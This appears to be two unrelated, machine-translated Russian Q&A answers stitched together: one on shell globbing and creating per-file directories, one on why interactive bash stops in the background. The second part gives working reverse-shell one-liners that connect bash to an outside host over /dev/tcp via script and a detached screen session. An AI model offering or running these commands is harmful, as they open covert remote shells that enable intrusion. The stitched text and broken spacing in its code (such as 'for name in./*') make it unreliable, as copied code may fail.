Подстановочный знак всегда расширяется до существующих имен.
Ваша команда mkdir *
не удалась, потому что имена, которые раскрываются *
, уже существуют.
Ваша команда mkdir *.d
"сбой", потому что *.d
не соответствует ни одному существующему имени. Таким образом, по умолчанию шаблон остается нераскрытым 1 и создается каталог с именем *.d
. Вы можете удалить это с помощью rmdir '*.d'
.
Создать каталог для каждого обычного файла в текущем каталоге, чтобы новые каталоги имели то же имя, что и файлы, но с суффиксом .d
:
for name in./*; do
if [ -f "$name" ]; then
# this is a regular file (or a symlink to one), create directory
mkdir "$name.d"
fi
done
или, для тех, кто любит "один -лайнеров",
for n in./*; do [ -f "$n" ] && mkdir "$n.d"; done
В bash
вы также можете сделать
names=(./* )
mkdir "${names[@]/%/.d}"
но это не проверяет, являются ли вещи, в которые расширяется glob, обычными файлами или чем-то еще.
Начальный ./
в приведенных выше командах предназначен для защиты от имен файлов, содержащих начальный дефис(-
)в именах файлов. В противном случае тире и символы, следующие за ним, интерпретировались бы как опции для mkdir
.
1Некоторые оболочки имеют опцию оболочки nullglob
, которая приводит к тому, что не совпадающие -подстановочные знаки оболочки заменяются пустой строкой. В bash
это включается с помощью shopt -s nullglob
.
Это происходит потому, что интерактивный процесс оболочки проверяет, находится ли он в группе процессов переднего плана на своем управляющем терминале, и если это не так, он уничтожает себя с помощью SIGTTIN
, сигнала, который его останавливает. Если его stderr и stdin были перенаправлены в другое место, он откроет /dev/tty
напрямую, чтобы получить fd на свой управляющий терминал.
Это код, который делает это в тире, но bash делает то же самое:
do { /* while we are in the background */
if ((pgrp = tcgetpgrp(fd)) < 0) {
out:
sh_warnx("can't access tty; job control turned off");
mflag = on = 0;
goto close;
}
if (pgrp == getpgrp())
break;
killpg(0, SIGTTIN);
} while (1);
Перенаправление стандартного fds оболочки из других файлов НЕ отсоединяет его от управляющего терминала.
Предполагаемый трюк с «удаленной оболочкой» из ОП даже отдаленно не надежен или практичен; вам может повезти больше, если вы завернете его в команду, которая создает псевдо-терминал -, напримерscript
:
script -c 'bash -i' /dev/null </dev/tcp/somehost/someport >&0 2>&1 &
Я не могу объяснить, почему bash
отказывается работать в фоновом режиме с-i
(интерактивным флагом ), когда stdin , stdout и stderr все перенаправлены. Однако, чтобы ответить на главный вопрос, вы можете начать процесс через screen
или tmux
screen -md bash -c 'bash -i >/dev/tcp/10.1.1.20/443 2>&1 0<&1'
Флаги -m
и -d
указывают screen
начать новый отсоединенный процесс. Подробнее см. man screen
.